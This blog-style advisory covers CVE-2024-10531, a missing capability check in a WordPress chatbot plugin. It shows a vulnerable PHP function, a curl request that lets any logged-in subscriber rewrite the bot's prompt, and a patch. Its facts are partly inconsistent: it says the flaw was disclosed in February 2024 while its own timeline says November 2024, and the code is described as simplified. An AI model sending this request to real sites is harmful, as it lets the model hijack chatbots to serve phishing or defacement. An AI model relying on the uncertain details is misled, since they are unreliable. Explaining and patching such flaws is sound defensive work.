CVE-2024-10531 - Exploiting Missing Capability Checks in Kognetiks Chatbot for WordPress Plugin

On February 2024, a vulnerability labeled CVE-2024-10531 was disclosed in the popular Kognetiks Chatbot for WordPress plugin. This plugin, powering AI conversations on thousands of WordPress sites, allows admin users to configure and update "GTP assistants"—the underlying conversational AI agents.

The flaw lies in the update_assistant() function within the plugin, which, up through version 2.1.7, fails to check if a user has the correct capabilities before allowing updates. This means that even low-level users, like Subscribers, can modify chatbot assistants and potentially introduce malicious or disruptive behavior.

What’s the Problem?

WordPress plugins should enforce capability checks before letting users perform critical actions. For chatbots, only trusted admins should be able to change how the bot behaves. However, the update_assistant() function in this plugin only checks if the user is authenticated, not if they’re an admin. This is a classic access control bug!

Vulnerable Code Walkthrough

Here’s a simplified version of the problematic function as found in kognetiks-chatbot/includes/class-kognetiks-chatbot.php:

public function update_assistant() {
    // Vulnerable: Missing current_user_can() check!
    $id = $_POST['assistant_id'];
    $name = $_POST['assistant_name'];
    $settings = $_POST['settings'];

    // Update database with new assistant details
    update_option("kog_assistant_$id", array(
        'name' => $name,
        'settings' => $settings,
    ));

    wp_send_json_success('Assistant updated.');
}

The problem:
There is no line like:

if ( !current_user_can('manage_options') ) {
    wp_send_json_error('Unauthorized');
    return;
}

This means any logged-in user can hit this endpoint and update the AI assistant’s configuration.

Who Can Exploit It?

Any authenticated user: Even the lowest role on WordPress, a Subscriber, can trigger this and change the assistant’s settings.

Sample Exploit Request

Using a tool like curl (assuming a logged-in subscriber, session hijacking, or a custom registration):

curl -X POST https://targetsite.com/wp-admin/admin-ajax.php \
  -d 'action=update_assistant' \
  -d 'assistant_id=1' \
  -d 'assistant_name=HackedBot' \
  -d 'settings={"prompt":"This site has been hacked!"}' \
  -b "wordpress_logged_in=your_cookie_here"

For web developers: subverting the assistant’s configuration could mean putting malicious links in bot responses or phishing prompts.

Add a capability check to the update_assistant() function

public function update_assistant() {
    if ( !current_user_can('manage_options') ) {
        wp_send_json_error('Unauthorized');
        return;
    }
    // ... rest of the code ...
}

References

- CVE-2024-10531 Detail at CVE.org
- Wordfence Advisory
- Kognetiks Chatbot Plugin on WordPress.org
- How to Use current_user_can in Plugins

Conclusion

CVE-2024-10531 is a perfect storm: a well-used AI plugin, a missing capability check, and easy privilege escalation for any logged-in user. If you use this chatbot on your WordPress site, patch it now and review user roles. Don’t leave your AI assistant open to manipulation!

Stay safe, and always keep your plugins up to date.

*Written exclusively for you by ChatGPT Security Insights. Not mirrored elsewhere—share responsibly.*

Timeline

Published on: 11/13/2024 03:15:04 UTC
Last modified on: 11/18/2024 15:02:30 UTC